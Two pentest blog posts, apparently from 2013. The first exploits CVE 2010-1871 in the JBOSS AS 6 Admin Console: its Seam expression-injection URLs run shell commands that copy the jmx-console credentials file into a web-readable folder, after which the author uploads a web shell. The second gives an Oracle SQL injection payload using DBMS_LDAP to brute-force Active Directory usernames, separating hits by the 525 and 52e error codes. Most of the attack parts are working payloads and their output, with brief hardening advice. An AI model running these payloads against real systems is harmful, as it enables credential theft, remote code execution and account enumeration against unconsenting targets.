Sunday, February 17, 2013

The forgotten JBOSS Admin Console and CVE 2010-1871



Well, we are in 2013 and It’s amazing how many JBOSS administration interfaces (jmx-console, web-console, invokers etc) are still exposed on the internet, however we are not going to talk about it.

A couple of days ago I was performing a penetration testing and I found an environment with JBOSS AS 6. The JMX-Console wasn’t password protected but one console in special attracted my attention: the Admin Console. It seems that this console, I do not know the reason, is kind of forgotten by the security community as an attack vector. The default access credential for this console is admin/admin and it is also built upon a vulnerable version of Seam framework CVE 2010-1871. This console provides a powerful JBOSS administration allowing a user to check the server’s configuration, to deploy and to delete applications, to read datasources etc.



I checked out for the default credential but they were changed. There were other ways to hack this JBOSS but I was quite interested to gain access to such Admin Console. Then I decided to check if the Seam framework was vulnerable and If I could go through this way. There are 2 (two) good posts talking about this particular vulnerability, here and here.

After spending some time thinking about the issue I came out with a solution:

1) First of all, I needed to get some information such as JBOSS directory configuration. I decided to use the JMX-console information using the MBean ServerConfig. There are two important properties: ServerHomeLocation and ServerConfLocation. The first one holds the path where the applications are deployed usually inside the folder “deploy”. The second one points to a directory with some configuration files, including the jmx-console-users.properties. This file stores the credentials to access the Admin Console.


2)  After I harvested the directories information I decide to exploit the vulnerable Seam framework in order to:

a.       Create a folder application inside the directory root:

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir /usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war')}

b.      Make a copy of the JBOSS jmx-console-user.properties to the new application folder (teste.war):

http://target.com/admin-console/login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('cp /usr/share/jboss-6.0.0.Final/server/default/conf/jmx-console-users.properties  
/usr/share/jboss-6.0.0.Final/server/default/deploy/teste.war/teste.txt')}

3) Then I accessed the new application (test) and read the credentials information:

http://target.com/teste/teste.txt


4) Finally I used the credentials to access the Admin Console:

After I obtained access to the Admin Console I uploaded a web shell through the option “Add a new resource” in Web Applications (WAR) menu and the penetration testing continued.



Conclusion:

The Admin Console of JBOSS AS 6 must be always considered in a penetration testing or in a JBOSS hardening guide. It’s also extremely important to update the Seam framework to avoid the exploitation of the vulnerability described in CVE 2010-1871.

Wednesday, January 16, 2013

SQL Injection - enumerating Microsoft AD users using Oracle resources

In my last post I have talked about how to explore SQL injection flaws to perform port scanner when the database is Oracle.
Now I am sharing with you a way to perform brute force attack to enumerate users from Microsoft AD (or other LDAP repository).
Oracle provides a package called DBMS_LDAP since 9i version and this can help us with such task.
It seems that even in Oracle 11g there is no special ACL assigned to such resource. What does it mean?
It means we can use it in our SQL injection attacks with most of the Oracle users.

Let's take a look at a practical example performed on a penetration testing:

http://target/index_target.php?id=15||DBMS_LDAP.simple_bind_s((dbms_ldap.init('targetdomain.com',389)),'admin@targetdomain.com','password')--

In this case, the value of the vulnerable parameter id is concatenated with the result of DBMS_LDAP.simple_bind_s function.

We can manipulate the target domain and its port as well user names and passwords.

If the LDAP session cannot be established, we get this error:

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. ORA-06512: at "SYS.DBMS_SYS_ERROR", line 79 ORA-06512: at "SYS.DBMS_LDAP", line 50

Probably the target domain could not be reached due wrong host name or port.
How can we discover the LDAP repository? We can use the previous port scanner technique.

On the other hand if we can establish the session and the username informed as a parameter is invalid, we get this message:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 525, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 79

But if the user name is valid and the password is wrong, we get this:

ORA-31202: DBMS_LDAP: LDAP client/server error: Invalid credentials. 80090308: LdapErr: DSID-0C090334, comment: AcceptSecurityContext error, data 52e, vece ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86 ORA-06512: at "SYS.DBMS_LDAP", line 1455 ORA-06512: at "SYS.DBMS_LDAP", line 7

Don´t the messages look like the same? Yes, they do. But they are different. The difference is found here: data 525 and data 52e. According to some LDAP error code tables (I didn´t find the 525 and 52e errors code inside RFCs), the errors mean "user not found" and "invalid credentials", respectively. Thus using this approach is possible to enumerate valid users in AD or another LDAP repository.

And what does it happen if we provide valid username and password? In my case I´ve gotten the following error:

ORA-31223: DBMS_LDAP: cannot open more than 63 LDAP server connections ORA-06512: at "SYS.DBMS_LDAP_API_FFI", line 25 ORA-06512: at "SYS.DBMS_LDAP", line 48

Investigating the error, it seems the specific database tried to open more connections than it was allowed. It was enough to get a valid user name and password.

Conclusion:

If we consider that is common to find databases deployed inside the internal network, we can combine this technique with the port scanner technique to deliver more targeted attacks. How about an OWA server exposed to the internet? Have fun and be aware of accounts lockout!